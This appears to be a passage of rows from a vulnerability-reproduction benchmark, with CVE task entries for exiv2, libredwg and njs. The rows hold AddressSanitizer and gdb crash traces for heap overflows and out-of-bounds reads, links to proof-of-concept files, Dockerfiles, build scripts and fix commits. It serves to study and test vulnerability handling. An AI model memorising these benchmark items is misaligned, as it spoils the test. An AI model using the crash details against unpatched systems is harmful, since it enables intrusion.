#0 0x63908d in Exiv2::IptcData::printStructure(std::ostream&, unsigned char const*, unsigned long, unsigned int) /home/fuzz/exiv2/0.26/src/iptc.cpp:359
#1 0x61d9d2 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /home/fuzz/exiv2/0.26/src/image.cpp:454
#2 0x622035 in Exiv2::Image::printTiffStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, int, unsigned long) /home/fuzz/exiv2/0.26/src/image.cpp:517
#3 0x7ea794 in Exiv2::TiffImage::printStructure(std::ostream&, Exiv2::PrintStructureOption, int) /home/fuzz/exiv2/0.26/src/tiffimage.cpp:348
#4 0x7fa25d in Exiv2::TiffImage::readMetadata() /home/fuzz/exiv2/0.26/src/tiffimage.cpp:191
#5 0x4f2ea6 in Action::Print::printSummary() /home/fuzz/exiv2/0.26/src/actions.cpp:289
#6 0x4f7907 in Action::Print::run(std::__cxx11::basic_string<char, std::char_traits<char>, std::allocator<char> > const&) /home/fuzz/exiv2/0.26/src/actions.cpp:244
#7 0x409cec in main /home/fuzz/exiv2/0.26/src/exiv2.cpp:170
#8 0x7fc10c3c082f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
#9 0x48f718 in _start (/home/fuzz/exiv2/0.26/bin/exiv2+0x48f718)
0x60200000ed71 is located 0 bytes to the right of 1-byte region [0x60200000ed70,0x60200000ed71)
allocated by thread T0 here:
#0 0x7fc10d7046b2 in operator new[](unsigned long) (/usr/lib/x86_64-linux-gnu/libasan.so.2+0x996b2)
#1 0x61d873 in Exiv2::Image::printIFDStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, unsigned int, bool, char, int) /home/fuzz/exiv2/0.26/src/image.cpp:451
#2 0x622035 in Exiv2::Image::printTiffStructure(Exiv2::BasicIo&, std::ostream&, Exiv2::PrintStructureOption, int, unsigned long) /home/fuzz/exiv2/0.26/src/image.cpp:517
#3 0x7ea794 in Exiv2::TiffImage::printStructure(std::ostream&, Exiv2::PrintStructureOption, int) /home/fuzz/exiv2/0.26/src/tiffimage.cpp:348
SUMMARY: AddressSanitizer: heap-buffer-overflow /home/fuzz/exiv2/0.26/src/iptc.cpp:359 Exiv2::IptcData::printStructure(std::ostream&, unsigned char const*, unsigned long, unsigned int)
Shadow bytes around the buggy address:
0x0c047fff9d50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9d60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9d70: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9d80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff9d90: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c047fff9da0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa[01]fa
0x0c047fff9db0: fa fa 00 fa fa fa 00 fa fa fa 00 fa fa fa fd fd
0x0c047fff9dc0: fa fa 06 fa fa fa 00 04 fa fa 00 04 fa fa 00 04
0x0c047fff9dd0: fa fa 00 04 fa fa 00 04 fa fa 00 04 fa fa 00 04
0x0c047fff9de0: fa fa 00 04 fa fa 00 04 fa fa 00 04 fa fa 00 04
0x0c047fff9df0: fa fa 00 04 fa fa 00 04 fa fa 00 04 fa fa fd fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Heap right redzone: fb
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack partial redzone: f4
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
==12019==ABORTING
Comments:
Comment 4
Jan Grulich 2019-01-28 16:08:25 UTC
Fixed with exiv2-0.27.0-1.el7_6.
---
Comment 8
errata-xmlrpc 2019-08-06 12:47:14 UTC
Since the problem described in this bug report should be
resolved in a recent advisory, it has been closed with a
resolution of ERRATA.
For information on the advisory, and where to find the updated
files, follow the link below.
If the solution does not work for you, open a new bug report.
https://access.redhat.com/errata/RHSA-2019:2101
Attachments:
Attachment 1365483: poc to trigger the vulnerability [Link: https://bugzilla.redhat.com/attachment.cgi?id=1365483]
================= Bug Report (2/2) ==================
## Source: GitHub Issue
## URL: https://github.com/Exiv2/exiv2/issues/263
## Description:
Issue: Exiv2/exiv2#263
Title: out bound reads which could result to segmentfault
State: closed
Created by: xiaoqx
Created at: 2018-04-04 08:16:47+00:00
Labels: bug
Issue Body:
there are other testcases to trigger out of bound read with the commands (exiv2 -pv $POC),
some debug information as follows:
```
exiv2 -pv $POC
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x66208e
RBX: 0x7ffff78a2ed9 --> 0x63747049002e2e2e ('...')
RCX: 0x0
RDX: 0xf1fe
RSI: 0xffffffff
RDI: 0x0
RBP: 0x7fffffff2ce0 --> 0x7fffffff2ec0 --> 0x7fffffff30a0 --> 0x7fffffff3280 --> 0x7fffffff3460 --> 0x7fffffff3640 (--> ...)
RSP: 0x7fffffff2c20 --> 0x5ff7fe2780
RIP: 0x7ffff778c165 (<Exiv2::IptcData::printStructure(std::ostream&, unsigned char const*, unsigned long, unsigned int)+659>: movzx eax,BYTE PTR [rax])
R8 : 0x0
R9 : 0x651fe0 --> 0x0
R10: 0x7ffff7089760 --> 0x0
R11: 0x0
R12: 0x7ffff78a2ac5 --> 0x4853004949435341 ('ASCII')
R13: 0x7fffffffe490 --> 0x3
R14: 0x0
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------]
0x7ffff778c155 <Exiv2::IptcData::printStructure(std::ostream&, unsigned char const*, unsigned long, unsigned int)+643>: mov edx,DWORD PTR [rbp-0x94]
0x7ffff778c15b <Exiv2::IptcData::printStructure(std::ostream&, unsigned char const*, unsigned long, unsigned int)+649>: mov rax,QWORD PTR [rbp-0xb0]
0x7ffff778c162 <Exiv2::IptcData::printStructure(std::ostream&, unsigned char const*, unsigned long, unsigned int)+656>: add rax,rdx
=> 0x7ffff778c165 <Exiv2::IptcData::printStructure(std::ostream&, unsigned char const*, unsigned long, unsigned int)+659>: movzx eax,BYTE PTR [rax]
0x7ffff778c168 <Exiv2::IptcData::printStructure(std::ostream&, unsigned char const*, unsigned long, unsigned int)+662>: cmp al,0x1c
0x7ffff778c16a <Exiv2::IptcData::printStructure(std::ostream&, unsigned char const*, unsigned long, unsigned int)+664>: jne 0x7ffff778c186 <Exiv2::IptcData::printStructure(std::ostream&, unsigned ch
ar const*, unsigned long, unsigned int)+692>
0x7ffff778c16c <Exiv2::IptcData::printStructure(std::ostream&, unsigned char const*, unsigned long, unsigned int)+666>: mov eax,DWORD PTR [rbp-0x94]
0x7ffff778c172 <Exiv2::IptcData::printStructure(std::ostream&, unsigned char const*, unsigned long, unsigned int)+672>: mov rdx,QWORD PTR [rbp-0xb8]
[------------------------------------stack-------------------------------------]
0000| 0x7fffffff2c20 --> 0x5ff7fe2780
0008| 0x7fffffff2c28 --> 0xf4
0016| 0x7fffffff2c30 --> 0x652e90 --> 0x1300000008002a49
0024| 0x7fffffff2c38 --> 0x7fffffffe050 --> 0x7ffff7592e38 --> 0x7ffff735afb0 (<_ZNSt14basic_ofstreamIcSt11char_traitsIcEED1Ev>: mov rax,QWORD PTR [rip+0x238d01] # 0x7ffff7593cb8)
0032| 0x7fffffff2c40 --> 0x2000000000000
0040| 0x7fffffff2c48 --> 0xf1fef10e0003
0048| 0x7fffffff2c50 --> 0x651ff8 ('.' <repeats 39 times>)
0056| 0x7fffffff2c58 --> 0x644880 --> 0x7ffffbad2488
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00007ffff778c165 in Exiv2::IptcData::printStructure (out=..., bytes=0x652e90 "I*", size=0xf4, depth=0x5f) at iptc.cpp:357
357 while ( bytes[i] == 0x1c && i < size-3 ) {
gdb-peda$ bt
#0 0x00007ffff778c165 in Exiv2::IptcData::printStructure (out=..., bytes=0x652e90 "I*", size=0xf4, depth=0x5f) at iptc.cpp:357
#1 0x00007ffff7782379 in Exiv2::Image::printIFDStructure (this=0x644ac0, io=..., out=..., option=Exiv2::kpsRecursive, start=0x8, bSwap=0x0, c=0x49, depth=0x5e) at image.cpp:470
#2 0x00007ffff778218c in Exiv2::Image::printIFDStructure (this=0x644ac0, io=..., out=..., option=Exiv2::kpsRecursive, start=0x8, bSwap=0x0, c=0x49, depth=0x5d) at image.cpp:455
#3 0x00007ffff778218c in Exiv2::Image::printIFDStructure (this=0x644ac0, io=..., out=..., option=Exiv2::kpsRecursive, start=0x8, bSwap=0x0, c=0x49, depth=0x5c) at image.cpp:455
#4 0x00007ffff778218c in Exiv2::Image::printIFDStructure (this=0x644ac0, io=..., out=..., option=Exiv2::kpsRecursive, start=0x8, bSwap=0x0, c=0x49, depth=0x5b) at image.cpp:455
#5 0x00007ffff778218c in Exiv2::Image::printIFDStructure (this=0x644ac0, io=..., out=..., option=Exiv2::kpsRecursive, start=0x8, bSwap=0x0, c=0x49, depth=0x5a) at image.cpp:455
#6 0x00007ffff778218c in Exiv2::Image::printIFDStructure (this=0x644ac0, io=..., out=..., option=Exiv2::kpsRecursive, start=0x8, bSwap=0x0, c=0x49, depth=0x59) at image.cpp:455
#7 0x00007ffff778218c in Exiv2::Image::printIFDStructure (this=0x644ac0, io=..., out=..., option=Exiv2::kpsRecursive, start=0x8, bSwap=0x0, c=0x49, depth=0x58) at image.cpp:455
#8 0x00007ffff778218c in Exiv2::Image::printIFDStructure (this=0x644ac0, io=..., out=..., option=Exiv2::kpsRecursive, start=0x8, bSwap=0x0, c=0x49, depth=0x57) at image.cpp:455
#9 0x00007ffff778218c in Exiv2::Image::printIFDStructure (this=0x644ac0, io=..., out=..., option=Exiv2::kpsRecursive, start=0x8, bSwap=0x0, c=0x49, depth=0x56) at image.cpp:455
#10 0x00007ffff778218c in Exiv2::Image::printIFDStructure (this=0x644ac0, io=..., out=..., option=Exiv2::kpsRecursive, start=0x8, bSwap=0x0, c=0x49, depth=0x55) at image.cpp:455
#11 0x00007ffff778218c in Exiv2::Image::printIFDStructure (this=0x644ac0, io=..., out=..., option=Exiv2::kpsRecursive, start=0x8, bSwap=0x0, c=0x49, depth=0x54) at image.cpp:455
#12 0x00007ffff778218c in Exiv2::Image::printIFDStructure (this=0x644ac0, io=..., out=..., option=Exiv2::kpsRecursive, start=0x8, bSwap=0x0, c=0x49, depth=0x53) at image.cpp:455
===========
the other one :
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
RAX: 0x662000 ('')
RBX: 0x3
RCX: 0x2
RDX: 0x14ff0
RSI: 0x64d010 --> 0x7ffff7082a49 (MemError)
RDI: 0x7fffffffe050 --> 0x7ffff7592e38 --> 0x7ffff735afb0 (<_ZNSt14basic_ofstreamIcSt11char_traitsIcEED1Ev>: mov rax,QWORD PTR [rip+0x238d01] # 0x7ffff7593cb8)
RBP: 0x7fffffffd960 --> 0x7fffffffdb40 --> 0x7fffffffdd20 --> 0x7fffffffdf00 --> 0x7fffffffdf80 --> 0x7fffffffdfe0 (--> ...)
RSP: 0x7fffffffd8a0 --> 0x2f7fe2780
RIP: 0x7ffff778bf41 (<Exiv2::IptcData::printStructure(std::ostream&, unsigned char const*, unsigned long, unsigned int)+111>: movzx eax,BYTE PTR [rax])
R8 : 0x644950 --> 0x0
R9 : 0x64d010 --> 0x7ffff7082a49 (MemError)
R10: 0x5e ('^')
R11: 0x246
R12: 0x7ffff78a2ac5 --> 0x4853004949435341 ('ASCII')
R13: 0x7fffffffe490 --> 0x3
R14: 0x0
R15: 0x0
EFLAGS: 0x10206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x7ffff778bf31 <Exiv2::IptcData::printStructure(std::ostream&, unsigned char const*, unsigned long, unsigned int)+95>: mov edx,DWORD PTR [rbp-0x94]
0x7ffff778bf37 <Exiv2::IptcData::printStructure(std::ostream&, unsigned char const*, unsigned long, unsigned int)+101>: mov rax,QWORD PTR [rbp-0xb0]
0x7ffff778bf3e <Exiv2::IptcData::printStructure(std::ostream&, unsigned char const*, unsigned long, unsigned int)+108>: add rax,rdx
=> 0x7ffff778bf41 <Exiv2::IptcData::printStructure(std::ostream&, unsigned char const*, unsigned long, unsigned int)+111>: movzx eax,BYTE PTR [rax]
0x7ffff778bf44 <Exiv2::IptcData::printStructure(std::ostream&, unsigned char const*, unsigned long, unsigned int)+114>: cmp al,0x1c
0x7ffff778bf46 <Exiv2::IptcData::printStructure(std::ostream&, unsigned char const*, unsigned long, unsigned int)+116>: jne 0x7ffff778bf14 <Exiv2::IptcData::printStructure(std::ostream&, unsigned char const*, unsigned long, unsigned int)+66>
0x7ffff778bf48 <Exiv2::IptcData::printStructure(std::ostream&, unsigned char const*, unsigned long, unsigned int)+118>: add DWORD PTR [rbp-0xbc],0x1
0x7ffff778bf4f <Exiv2::IptcData::printStructure(std::ostream&, unsigned char const*, unsigned long, unsigned int)+125>: mov edx,DWORD PTR [rbp-0xbc]
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffd8a0 --> 0x2f7fe2780
0008| 0x7fffffffd8a8 --> 0x2
0016| 0x7fffffffd8b0 --> 0x64d010 --> 0x7ffff7082a49 (MemError)
0024| 0x7fffffffd8b8 --> 0x7fffffffe050 --> 0x7ffff7592e38 --> 0x7ffff735afb0 (<_ZNSt14basic_ofstreamIcSt11char_traitsIcEED1Ev>: mov rax,QWORD PTR [rip+0x238d01] # 0x7ffff7593cb8)
0032| 0x7fffffffd8c0 --> 0x0
0040| 0x7fffffffd8c8 --> 0x14ff0f6d39947
0048| 0x7fffffffd8d0 --> 0xd47b0c2
0056| 0x7fffffffd8d8 --> 0x644870 --> 0x7ffffbad2488
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x00007ffff778bf41 in Exiv2::IptcData::printStructure (out=..., bytes=0x64d010 "I*\b\367\377\177", size=0x2, depth=0x2) at iptc.cpp:354
354 while ( i < size-3 && bytes[i] != 0x1c ) i++;
gdb-peda$ p bytes
$1 = (const Exiv2::byte *) 0x64d010 "I*\b\367\377\177"
gdb-peda$ x /4w $rax
0x662000: Cannot access memory at address 0x662000
gdb-peda$ bt
#0 0x00007ffff778bf41 in Exiv2::IptcData::printStructure (out=..., bytes=0x64d010 "I*\b\367\377\177", size=0x2, depth=0x2) at iptc.cpp:354
#1 0x00007ffff7782379 in Exiv2::Image::printIFDStructure (this=0x644ab0, io=..., out=..., option=Exiv2::kpsRecursive, start=0x8, bSwap=0x0, c=0x49, depth=0x2) at image.cpp:470
#2 0x00007ffff778218c in Exiv2::Image::printIFDStructure (this=0x644ab0, io=..., out=..., option=Exiv2::kpsRecursive, start=0x8, bSwap=0x0, c=0x49, depth=0x1) at image.cpp:455
#3 0x00007ffff778218c in Exiv2::Image::printIFDStructure (this=0x644ab0, io=..., out=..., option=Exiv2::kpsRecursive, start=0x8, bSwap=0x0, c=0x49, depth=0x0) at image.cpp:455
#4 0x00007ffff7782abc in Exiv2::Image::printTiffStructure (this=0x644ab0, io=..., out=..., option=Exiv2::kpsRecursive, depth=0xffffffff, offset=0x0) at image.cpp:533
#5 0x00007ffff781bc6d in Exiv2::TiffImage::printStructure (this=0x644ab0, out=..., option=Exiv2::kpsRecursive, depth=0x0) at tiffimage.cpp:344
#6 0x00007ffff781aec3 in Exiv2::TiffImage::readMetadata (this=0x644ab0) at tiffimage.cpp:187
#7 0x000000000041fba6 in Action::Print::printList (this=0x644830) at actions.cpp:537
#8 0x000000000041c76b in Action::Print::run (this=0x644830, path="./crashes-2018-03-23-21-09/exiv2000:id:000015,sig:11,src:000399,op:flip1,pos:26") at actions.cpp:243
#9 0x000000000040e267 in main (argc=0x3, argv=0x7fffffffe498) at exiv2.cpp:166
#10 0x00007ffff6ce9f45 in __libc_start_main (main=0x40dfae <main(int, char* const*)>, argc=0x3, argv=0x7fffffffe498, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe488) at libc-start.c:287
#11 0x000000000040dee9 in _start ()
```
==================
the pocs please refer to :
https://github.com/xiaoqx/pocs/blob/master/exiv2/9-printStructure-outbound-read-1
https://github.com/xiaoqx/pocs/blob/master/exiv2/10-printStructure-outbound-read-2
Comments:
Comment by a17r on 2018-09-21 14:02:51+00:00:
Is this the same as CVE-2017-17724?
|
[] |
[
{
"sha": "25071d680bd707e1338ab4c9573c9864dcf02e20",
"url": "https://github.com/Exiv2/exiv2/commit/25071d680bd707e1338ab4c9573c9864dcf02e20"
},
{
"sha": "a82c68e90c1737a0de37193b3210e4162264eb83",
"url": "https://github.com/Exiv2/exiv2/commit/a82c68e90c1737a0de37193b3210e4162264eb83"
},
{
"sha": "09a7d89e6f12eb82ed08c6afb4055784ed20f4e9",
"url": "https://github.com/Exiv2/exiv2/commit/09a7d89e6f12eb82ed08c6afb4055784ed20f4e9"
},
{
"sha": "c7303276e9e611e020ecbd42f98666cd9856d4a4",
"url": "https://github.com/Exiv2/exiv2/commit/c7303276e9e611e020ecbd42f98666cd9856d4a4"
},
{
"sha": "ffa39aae9a22b72b8b3a0fee625da7a8e8bc6794",
"url": "https://github.com/Exiv2/exiv2/commit/ffa39aae9a22b72b8b3a0fee625da7a8e8bc6794"
},
{
"sha": "0fca78e04741d1f790c2e48fc19ca2fd9c1b92c0",
"url": "https://github.com/D4N/exiv2/commit/0fca78e04741d1f790c2e48fc19ca2fd9c1b92c0"
},
{
"sha": "f6d775b400b64fc638afbfc60d068581005eb96f",
"url": "https://github.com/Exiv2/exiv2/commit/f6d775b400b64fc638afbfc60d068581005eb96f"
},
{
"sha": "eeb520bf3950f9e97e18e20e671bb97b513133db",
"url": "https://github.com/Exiv2/exiv2/commit/eeb520bf3950f9e97e18e20e671bb97b513133db"
},
{
"sha": "d224f897b063925ed332aad5388196e065d4bb10",
"url": "https://github.com/Exiv2/exiv2/commit/d224f897b063925ed332aad5388196e065d4bb10"
}
] |
libredwg.cve-2020-21833
|
libredwg/libredwg
|
d5a51c01023d5585ddf3dd17c83dbb3c81efc97e
| 2020-01-08T08:16:22
|
libredwg
|
c++
|
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y autoconf libtool texinfo
RUN git clone https://github.com/libredwg/libredwg libredwg
RUN git -C libredwg checkout d5a51c01023d5585ddf3dd17c83dbb3c81efc97e
WORKDIR $SRC/libredwg
COPY build.sh $SRC/
|
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
sh ./autogen.sh
./configure --disable-shared
make -j$(nproc)
|
/src/libredwg
|
address
|
================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/LibreDWG/libredwg/issues/188#issuecomment-574493364
## Description:
Issue: LibreDWG/libredwg#188
Title: Several bugs found by fuzzing
Referenced comment by linhlhq on 2020-01-15 04:42:48+00:00:
**10.heap-buffer-overflow in read_2004_section_classes ../../src/decode.c:2440**
POC:https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_4c26d37/id:000031%2Csig:06%2Csrc:002636%2Cop:havoc%2Crep:8
```
=================================================================
==23880==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62c0000070c0 at pc 0x7f52bd72c733 bp 0x7ffc9c1738a0 sp 0x7ffc9c173048
READ of size 29696 at 0x62c0000070c0 thread T0
#0 0x7f52bd72c732 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732)
#1 0x55e8f86a57b6 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34
#2 0x55e8f86a57b6 in read_2004_compressed_section ../../src/decode.c:2417
#3 0x55e8f86aa24f in read_2004_section_classes ../../src/decode.c:2440
#4 0x55e8f8c690d0 in decode_R2004 ../../src/decode.c:3353
#5 0x55e8f8c7b08d in dwg_decode ../../src/decode.c:246
#6 0x55e8f860dfae in dwg_read_file ../../src/dwg.c:211
#7 0x55e8f860c9d0 in get_bmp ../../programs/dwgbmp.c:111
#8 0x55e8f860c066 in main ../../programs/dwgbmp.c:280
#9 0x7f52bcf45b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#10 0x55e8f860c6c9 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwgbmp+0x28f6c9)
0x62c0000070c0 is located 0 bytes to the right of 28352-byte region [0x62c000000200,0x62c0000070c0)
allocated by thread T0 here:
#0 0x7f52bd791d38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38)
#1 0x55e8f860df41 in dat_read_file ../../src/dwg.c:74
#2 0x55e8f860df41 in dwg_read_file ../../src/dwg.c:204
SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732)
Shadow bytes around the buggy address:
0x0c587fff8dc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c587fff8dd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c587fff8de0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c587fff8df0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c587fff8e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c587fff8e10: 00 00 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa
0x0c587fff8e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c587fff8e30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c587fff8e40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c587fff8e50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c587fff8e60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==23880==ABORTING
```
|
[
{
"content": "[libfuzzer]\ndetect_leaks=0\n",
"filename": "fuzz_dwg_decode.options"
}
] |
[
{
"sha": "6757b07c65742277ae2ff5c9fe32157195726258",
"url": "https://github.com/LibreDWG/libredwg/commit/6757b07c65742277ae2ff5c9fe32157195726258"
},
{
"sha": "d447393a30df70531215e17baa609be5609c8614",
"url": "https://github.com/LibreDWG/libredwg/commit/d447393a30df70531215e17baa609be5609c8614"
},
{
"sha": "6ea3bdb8836e4c9833c78c1a983dab7b2ba88b31",
"url": "https://github.com/LibreDWG/libredwg/commit/6ea3bdb8836e4c9833c78c1a983dab7b2ba88b31"
},
{
"sha": "7fc210259cf00850627cafaad1267d541f69c2b7",
"url": "https://github.com/LibreDWG/libredwg/commit/7fc210259cf00850627cafaad1267d541f69c2b7"
},
{
"sha": "f955c0b8fde285a038befcd173bfb86a636890fc",
"url": "https://github.com/LibreDWG/libredwg/commit/f955c0b8fde285a038befcd173bfb86a636890fc"
},
{
"sha": "185889b5abc6ff68b071758b82cf20be11102326",
"url": "https://github.com/LibreDWG/libredwg/commit/185889b5abc6ff68b071758b82cf20be11102326"
},
{
"sha": "3cf9d1705ff51d6970970ca9e4911c2eab0d338b",
"url": "https://github.com/LibreDWG/libredwg/commit/3cf9d1705ff51d6970970ca9e4911c2eab0d338b"
},
{
"sha": "93c25124c191987af168ace9fe4b5623061874bd",
"url": "https://github.com/LibreDWG/libredwg/commit/93c25124c191987af168ace9fe4b5623061874bd"
},
{
"sha": "5650507fb5065c329984f19ce040fd83bd1a5298",
"url": "https://github.com/LibreDWG/libredwg/commit/5650507fb5065c329984f19ce040fd83bd1a5298"
},
{
"sha": "8e961a8ead7818b72f36bdf9eccd0d330e6ea231",
"url": "https://github.com/LibreDWG/libredwg/commit/8e961a8ead7818b72f36bdf9eccd0d330e6ea231"
},
{
"sha": "69b4132a0591b81fddd30588a67c79fc01e69c52",
"url": "https://github.com/LibreDWG/libredwg/commit/69b4132a0591b81fddd30588a67c79fc01e69c52"
},
{
"sha": "0075d173dbb015b72ed779d6ec7ca016841972f3",
"url": "https://github.com/LibreDWG/libredwg/commit/0075d173dbb015b72ed779d6ec7ca016841972f3"
},
{
"sha": "84d938b1d28d514eead8fdc21e7eec4fdfe053f5",
"url": "https://github.com/LibreDWG/libredwg/commit/84d938b1d28d514eead8fdc21e7eec4fdfe053f5"
},
{
"sha": "3d32e491b912cce17c6b8080b32872b1c11472c3",
"url": "https://github.com/LibreDWG/libredwg/commit/3d32e491b912cce17c6b8080b32872b1c11472c3"
},
{
"sha": "07470ca096ff1587fe3b9a57b8366cfcc043d131",
"url": "https://github.com/LibreDWG/libredwg/commit/07470ca096ff1587fe3b9a57b8366cfcc043d131"
},
{
"sha": "e685e689d05d4b7da9a61e9d0868a65db4f82469",
"url": "https://github.com/LibreDWG/libredwg/commit/e685e689d05d4b7da9a61e9d0868a65db4f82469"
},
{
"sha": "97cc629fbea0d8d81b33ce382214578f3379de09",
"url": "https://github.com/LibreDWG/libredwg/commit/97cc629fbea0d8d81b33ce382214578f3379de09"
},
{
"sha": "529decd91126d9a436ce2d0a84434ed7899be507",
"url": "https://github.com/LibreDWG/libredwg/commit/529decd91126d9a436ce2d0a84434ed7899be507"
},
{
"sha": "8e14a3ee22cc1f96b638ee36c1aba3bbea314687",
"url": "https://github.com/LibreDWG/libredwg/commit/8e14a3ee22cc1f96b638ee36c1aba3bbea314687"
},
{
"sha": "496702e3c2486adae863fd919f20e7a7490c847c",
"url": "https://github.com/LibreDWG/libredwg/commit/496702e3c2486adae863fd919f20e7a7490c847c"
},
{
"sha": "8a75ac27367343e531dd7ee1b61db70edf2e816a",
"url": "https://github.com/LibreDWG/libredwg/commit/8a75ac27367343e531dd7ee1b61db70edf2e816a"
},
{
"sha": "07c078aca71840f0f9a0dffb3032056d043858b0",
"url": "https://github.com/LibreDWG/libredwg/commit/07c078aca71840f0f9a0dffb3032056d043858b0"
},
{
"sha": "12dafc13a96cdaa019f95a6ca245e8b29d1763a5",
"url": "https://github.com/LibreDWG/libredwg/commit/12dafc13a96cdaa019f95a6ca245e8b29d1763a5"
},
{
"sha": "e03b16b603c566c317f7c5161cc7550360081dd0",
"url": "https://github.com/LibreDWG/libredwg/commit/e03b16b603c566c317f7c5161cc7550360081dd0"
},
{
"sha": "92feac9b0dcfe3193d479fc245f95a8d025db4d7",
"url": "https://github.com/LibreDWG/libredwg/commit/92feac9b0dcfe3193d479fc245f95a8d025db4d7"
},
{
"sha": "3f0faa6944648abca5fb64c6fc8f88b0dcbd9d1a",
"url": "https://github.com/LibreDWG/libredwg/commit/3f0faa6944648abca5fb64c6fc8f88b0dcbd9d1a"
},
{
"sha": "14a3ffe26d4bcd267c42471caebaf21185c16a4c",
"url": "https://github.com/LibreDWG/libredwg/commit/14a3ffe26d4bcd267c42471caebaf21185c16a4c"
},
{
"sha": "d7bdfbc83211fb8732ab12382f2c3bfab51e3480",
"url": "https://github.com/LibreDWG/libredwg/commit/d7bdfbc83211fb8732ab12382f2c3bfab51e3480"
},
{
"sha": "107b5e47f3de5d333405e0a201f495a4a905e96b",
"url": "https://github.com/LibreDWG/libredwg/commit/107b5e47f3de5d333405e0a201f495a4a905e96b"
},
{
"sha": "f6db9268d2d3ad568b6d3ba432ca2b5f2b3804a9",
"url": "https://github.com/LibreDWG/libredwg/commit/f6db9268d2d3ad568b6d3ba432ca2b5f2b3804a9"
},
{
"sha": "c0bbb7388465800f01683fa90d434026c852f06c",
"url": "https://github.com/LibreDWG/libredwg/commit/c0bbb7388465800f01683fa90d434026c852f06c"
},
{
"sha": "ea93bca48a63ddf70f7df017f2c21f38469a83af",
"url": "https://github.com/LibreDWG/libredwg/commit/ea93bca48a63ddf70f7df017f2c21f38469a83af"
},
{
"sha": "817e586f2bbce42cf9e75e118c1c7feae941669b",
"url": "https://github.com/LibreDWG/libredwg/commit/817e586f2bbce42cf9e75e118c1c7feae941669b"
},
{
"sha": "41ff7afc44babae1236c3587024ee84b57006990",
"url": "https://github.com/LibreDWG/libredwg/commit/41ff7afc44babae1236c3587024ee84b57006990"
},
{
"sha": "55295f939b6a8cfd7a25c40ea780d8c83e67b0db",
"url": "https://github.com/LibreDWG/libredwg/commit/55295f939b6a8cfd7a25c40ea780d8c83e67b0db"
},
{
"sha": "5064790b1bf390807bfa727139e40a3afd85183e",
"url": "https://github.com/LibreDWG/libredwg/commit/5064790b1bf390807bfa727139e40a3afd85183e"
},
{
"sha": "d6f8f351c34c4ad2b9e300a8b0718439467bd55a",
"url": "https://github.com/LibreDWG/libredwg/commit/d6f8f351c34c4ad2b9e300a8b0718439467bd55a"
},
{
"sha": "ba6aa54df0c78bc930b4ec71f72767f1a011d96e",
"url": "https://github.com/LibreDWG/libredwg/commit/ba6aa54df0c78bc930b4ec71f72767f1a011d96e"
},
{
"sha": "b7369a17445f8831582af3708a5e84362b0db536",
"url": "https://github.com/LibreDWG/libredwg/commit/b7369a17445f8831582af3708a5e84362b0db536"
}
] |
njs.cve-2020-24347
|
nginx/njs
|
c3da13fb18f0d8ec809b346096feab572e634486
| 2020-08-11T09:31:07
|
njs
|
c++
|
FROM hwiwonlee/secb.base:latest
